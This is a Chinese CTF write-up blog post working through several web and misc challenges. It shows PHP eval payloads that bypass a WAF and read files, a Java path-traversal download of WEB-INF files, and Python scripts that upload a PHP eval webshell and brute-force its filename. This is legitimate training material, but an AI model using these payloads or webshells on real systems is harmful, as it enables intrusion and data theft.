本次比赛战队起名咸鱼签到队,所以只做了一道签到题(滑稽)。
经过多次做题经验一般类似这种题前面加了easy的都是不容易的题。。题目首先给了一个表单,可以进行简单计算,输入表达式出结果,开扫描器扫不到什么东西,抓包的时候发现了一个calc.php,是一道代码审计题。
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
看这只要传一个值给num,如:1;phpinfo()
这种参数给num即可,但发现只要传值中包含字母就会返回400错误,当时做题百思不得其解,后面才知道这种是加了waf过滤掉了字母,长知识了。
本题目有两种解题方法,一种是利用PHP的字符串解析特性Bypass;另一种是利用http走私来绕过。
方法一:利用PHP的字符串解析特性
参考:https://www.freebuf.com/articles/web/213359.html
构造如:/calc.php?%20num=1;phpinfo()
绕过waf,但在php里面仍会解析为num,因此会返回phpinfo界面。
鉴于他过滤了单引号和双引号,我们无法直接传参。
需要用到几个函数来构建取得目录:
var_dump() --- 可以将变量的内部信息打印出来,可以打印出数组
scandir() --- 传入目录参数,返回传入目录的文件及文件夹
chr() --- 传入数字可以将ASCII码解析为字符串
readfile() --- 传入文件名作为参数可以读取文件内容
file_get_contents --- 传入文件名作为参数可以读取文件内容
这里我一开始犯了个错,对chr函数没很好的了解,所以在构建时还将需要传入内容的两端再用chr构建出了单引号,导致一直失败。。
47对应ASCII为/
,所以我们构造?%20num=1;var_dump(scandir(chr(47)))
,取得根目录对应文件及文件夹名字,一般这种比较难一点的题目,flag文件都会在根目录下。
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
可以看见有一个f1agg,构建payload:
calc.php?%20num=1;var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
也可以将readfile改为file_get_contents,结果一样,输出有些差异。
1flag{8c38cfc1-87c6-4d2e-b63a-eebd9a022a00} int(43)
方法二:利用http走私
参考:https://paper.seebug.org/1048/
具体也不是很理解,简单说来就是我们抓包之后,手动添加一个Content-Length
使得该包有两个,当传给服务器后,先是由代理服务器接受,代理服务器读完第一个Content-Length
后将包发给了后端服务器,而后端又读了Content-Length
,此时,将我们需要的内容返回了前端,因此虽然报了400错误,但仍返回了我们想要的内容
接下来的操作步骤和上面一种方法一样,都是用var_dump,scandir,chr,readfile函数进行读取flag。
一个登录界面,我对于java web方面目前还在学习,所以不知道会有什么漏洞。
点开help发现路径如下:
http://9122272f-bc47-457b-8c43-27b3cbe24773.node2.buuoj.cn.wetolink.com:82/Download?filename=help.docx
报错如下:java.io.FileNotFoundException:{help.docx},看起来是找不到文件,这url应该是文件下载漏洞,用burp suite抓包后将get改为post再放包后发现下载成功了??(没搞懂原理)
下载了help.docx文档,内容为:
Are you sure the flag is here? ? ?
文件夹 | 描述 |
---|---|
/ | Web应用程序根目录 |
/WEB-INF/ | WEB-INF文件夹,Tomcat会隐藏该文件夹下的所有文件及文件夹,保护它们不能通过浏览器直接访问。 |
/WEB-INF/web.xml | web.xm文件,Web程序最主要的配置文件。 |
/WEB-INF/classes/ | class类文件都放在该文件下面,包括Servlet类。 |
/WEB-INF/lib/ | jar文件都放在该文件下面。 |
知道了怎么下载那就容易了,javaweb有一个web.xml
存放在WEB-INF
目录下,是web程序的主要文件。先把它下载下来:
-<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
-<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
由此构造/WEB-INF/classes/com/wm/ctf/FlagController.class
解码得flag
首先给了代码审计,发现是考文件上传,看源码可以知道是tp框架的漏洞:
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;
if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}
$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}
在thinkphp中的Controller是控制器,可以看到IndexController
类继承自Controller
类,其命名空间为Home\Controller
,也即是其路由为:index.php/Home/Index
,在该路由下在访问对应的方法即可找到文件上传在url,为:index.php/home/index/upload
,访问发现没错,提示我们需要上传文件。
我们可以写脚本上传一个文件试试看:
#! /usr/bin/env python
#encoding=utf-8
import requests
requests = requests.session()
url = "xxx/index.php/home/index/upload"
file1 = {'file':open("1.txt",'r')}
file2 = {'file1':"<?php @eval($_POST['hhhm']); ?>"}
r1 = requests.post(url,files=file1)
r2 = requests.post(url,files=file2)
print(r1.text)
print(r2.text)
##输出
##{"url":"\/Public\/Uploads\/2019-11-26\/5ddbfd6e86649.txt","success":1}
##{"url":"\/Public\/Uploads\/","success":1}
可以看见它仅输出了file文件的路径,那么我们可以采用:
两个正常文件中间会有间隔,上传多次会发现其命名有规律,查看源码可以知道其上传文件命名是使用了uniqid,因此我们可以采用爆破来获取我们的php文件。
{"url":"\/Public\/Uploads\/2019-11-26\/5ddc765084414.txt","success":1} {"url":"\/Public\/Uploads\/","success":1}
以上述两个路径为例爆破php路径,爆破脚本如下:
#! /usr/bin/env python
#encoding=utf-8
import requests
import time
myrequest = requests.session()
url = "xxx/Public/Uploads/2019-11-26/{}"
txt1 = "5ddc765084414.txt"
php = "5ddc765{0}{1}{2}{3}{4}{5}.php"
txt2 = "5ddc7655eddc3.txt"
lista = [
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O',
'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',
'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's',
't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9'
]
count = 0
for a1 in lista:
for a2 in lista:
for a3 in lista:
for a4 in lista:
for a5 in lista:
for a6 in lista:
count = count + 1
php1 = php.format(a1, a2, a3, a4, a5,a6)
url1 = url.format(php1)
r = myrequest.get(url1)
if (r.status_code != 404):
print(r.text)
break
else:
print(count,end="---")
我在网上搜了一波,发现还有另外一种解法:
https://github.red/roarctf-web-writeup/
该wp提到了tp3中在文件上传时会调用一个strip_tags
函数,该函数会去掉文件中的html标签,也即是我们可以使用html标签来绕过check。
import requests
url = "xxx/index.php/home/index/upload"
r = requests.session()
file1 = {'file': ("shell.<br>php","<?php @eval($_POST['hhhm']); ?>")}
r1 = r.post(url, files=file1)
print(r1.text)
##输出
##{"url":"\/Public\/Uploads\/2019-11-26\/5ddc83c383640.php","success":1}
接下来访问该页面即可。
flag{b9b1393c-5815-469a-bfec-1648f2b95570}
010打开发现末端有一段base64码:
UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQAD Dx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEf JkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==
解码发现是一个rar文件,保存后发现需要密码。
比赛时到这里就不会做了,后来看wp发现是视频里面抽帧之后放Stegsolve上变轨看二维码,一共有四个。
合起来就是压缩包密码,为iwantplayctf,得flag
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/